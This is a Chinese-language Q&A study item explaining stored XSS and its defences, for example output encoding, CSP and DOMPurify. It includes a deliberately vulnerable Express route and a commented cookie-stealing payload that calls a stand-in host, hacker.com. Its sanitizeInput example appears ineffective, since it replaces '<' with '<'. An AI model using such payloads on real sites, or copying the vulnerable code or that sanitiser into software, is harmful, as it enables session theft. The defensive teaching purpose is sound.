题目
Web应用中的存储型XSS漏洞分析与防御
信息
- 类型:问答
- 难度:⭐⭐
考点
XSS漏洞原理,漏洞识别方法,安全编码实践
快速回答
存储型XSS漏洞的防御要点:
- 输入验证:对用户输入进行严格过滤(白名单原则)
- 输出编码:根据输出上下文使用合适的编码(HTML/URL/JavaScript)
- 内容安全策略:部署CSP头部限制脚本执行
- 安全库使用:采用DOMPurify等库进行HTML净化
- 框架防护:利用现代框架(如React/Vue)的内置XSS防护
漏洞原理
存储型XSS(跨站脚本)发生在恶意脚本被持久化保存到服务器(如数据库),当其他用户访问包含该恶意内容的页面时自动执行。典型场景:
- 用户评论/留言板
- 个人资料展示页
- 文件上传名称展示
攻击危害:窃取用户会话Cookie、重定向到钓鱼网站、键盘记录等。
漏洞代码示例
// 危险示例:未处理的用户输入直接渲染
app.get('/comments', (req, res) => {
const comments = db.query("SELECT content FROM comments");
res.send(`<div>${comments.join('')}</div>`); // XSS风险!
});
// 攻击者提交的payload:
// <script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>防御最佳实践
1. 输入验证(前端+后端)
// 白名单示例:只允许安全的HTML标签
function sanitizeInput(input) {
return input.replace(/<(?!\/?([a-z][a-z\d]*)\b[^>]*>)/gi, '<');
}
// 使用验证库(如validator.js)
const validator = require('validator');
if (!validator.isAlphanumeric(input, 'en-US', {ignore: ' -'})) {
throw new Error('非法字符');
}2. 输出编码
<!-- 根据上下文使用不同编码方式 -->
<div>
<!-- HTML正文编码 -->
<%= encodeHTML(userContent) %>
</div>
<script>
// JavaScript上下文编码
const data = "<%= jsEscape(userContent) %>";
</script>
<a href="<%= urlEncode(link) %>">Link</a>3. 内容安全策略(CSP)
// HTTP响应头示例
Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted.cdn.com;
object-src 'none'4. 安全库使用
// 使用DOMPurify净化HTML
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
FORBID_ATTR: ['style', 'onerror']
});常见错误
- 只在客户端验证:攻击者可直接绕过前端发送恶意数据
- 黑名单过滤:容易绕过(如使用
<ScRiPt>或Unicode编码) - 错误上下文编码:在JavaScript块中使用HTML编码
- 过度信任框架:React等框架虽默认转义但
dangerouslySetInnerHTML仍危险
扩展知识
- XSS分类:存储型(持久化) vs 反射型(URL参数) vs DOM型(纯前端)
- 高级攻击:基于SVG的XSS、盲打XSS(通过HTTP请求外带数据)
- 检测工具:OWASP ZAP、Burp Suite的主动扫描模块
- 相关漏洞:CSP绕过技巧、HTML注入与XSS的区别